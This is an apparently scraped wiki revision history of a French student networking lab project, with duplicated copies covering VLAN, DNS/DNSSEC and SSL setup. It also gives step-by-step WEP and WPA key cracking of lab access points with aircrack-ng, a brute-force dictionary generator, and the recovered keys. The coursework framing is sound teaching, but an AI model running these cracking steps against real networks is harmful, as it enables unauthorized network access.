MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35770 2016-12-08T13:58:53Z

<p>Rruet : /* Sécurisation du site via certificat SSL */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[Fichier:ssl.png]]<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35769 2016-12-08T13:58:04Z

<p>Rruet : /* Sécurisation du site via certificat SSL */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons 